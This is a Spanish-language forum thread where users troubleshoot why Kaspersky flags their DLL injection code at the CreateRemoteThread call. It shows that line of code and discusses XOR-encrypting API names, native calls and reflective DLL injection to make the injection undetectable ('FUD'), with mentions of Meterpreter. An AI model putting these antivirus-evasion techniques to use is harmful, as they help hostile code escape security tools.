Con heurística te refieres a antes de ser ejecutado o durante la ejecución? Si es lo primero, fíjate que estás cifrando los nombres con un XOR, posiblemente necesites una cifrado un poco más fuerte para saltartelo. Tambien el código puede ser detectado por mil cosas, no necesariamente por usar esas API's, asegurate de que si las quitas del código deja de ser detectado. cifrando los nombres de las Apis y cargándolas dinámicamente con ésta clase no debería de darte problemas ;).
Saludos
Lo primero, gracias por contestar..
Me lo detecta por heurística el Kapersky 2010 y es en el momento de ejecucion (no antes). Lo he ejecutado "paso a paso", añadiendo un scanf_s() antes de cada función. Me salta siempre en la llamada a CreateRemoteThread, como parece lo razonable:
// ESTA ES LA FUNCION DONDE SALTA EL KAPERSKY
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
Efectivamente cifro las cadenas con un XOR, y lo unico que he hecho es volver a encriptarlas utilizando un passwd distinto y mas largo. Pero como salta justo en el salto a CreateRemoteThread me da que apunta a que no son las cadenas lo que detecta.
Me queda por probar a "cifrar" mas bytes de la funcion, copiar alguna instruccion mas antes del salto...
No se me ocurren mas cosas. La verdad que me ha sorprendido que el AV lo detectara. No me lo canta como malware conocido, pero si indica "Suspicious activity" y "Potencial dangerous program: Invader".
Cualquier cosa que se os ocurra me decis... gracias de nuevo.
Sobre que proceso estas inyectando codigo?
Es normal que el KAV salte... estas inyectando code... Prueba a usar la funcion Nativa... aunque de todas formas creo que lo detectara...
Si, si es en tiempo de ejecución es normal que salte, el KAV hookea las API's a nivel kernel, aunque llames a un buffer en vez de a la API, se buffer terminará llamando al hook del KAV :P.
Saludos
Perdonarme pero ahora si que me he perdido :rolleyes: :rolleyes:
Importa a que proceso inyecte ?? estaba haciendo pruebas con un cmd, un calc y un notepad. En todos los intentos de injection salta el KAV cuando se ejecuta el CreateRemoteThread. Ya sea llamando a la API directamente o mediante EncryptApi de E0N.. (con la función Nativa entiendo que te refieres a la API directamente, no? )
Sobre que es normal que lo detecte el KAV, suponia que precisamente esto servía para evitar precisamente su heuristica, sino es así, perdonarme pero he entendido mal todo el hilo.
Citar¿Qué es EncryptApi?
EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
Por ultimo ya que estoy, igual es un poco offtopic: ¿serviría usar el método Reflective injection DLL para que la injection fuera FUD?
http://www.harmonysecurity.com/blog/2008/10/new-paper-reflective-dll-injection.html
Aun no he estudiado el articulo, es el método utilizado en el metasploit. Las pruebas que he hecho al conseguir sesion de meterpreter, voy migrando de proceso a proceso y aqui el KAV no me lo detecta... pero estos conceptos si que no los tengo claros por lo que puedo estar diciendo una tonteria. No estoy seguro si cuando el meterpreter va migrando de un proceso a otro lo hace mediante DLL injection... (ya sea reflectiva o no).
Gracias !!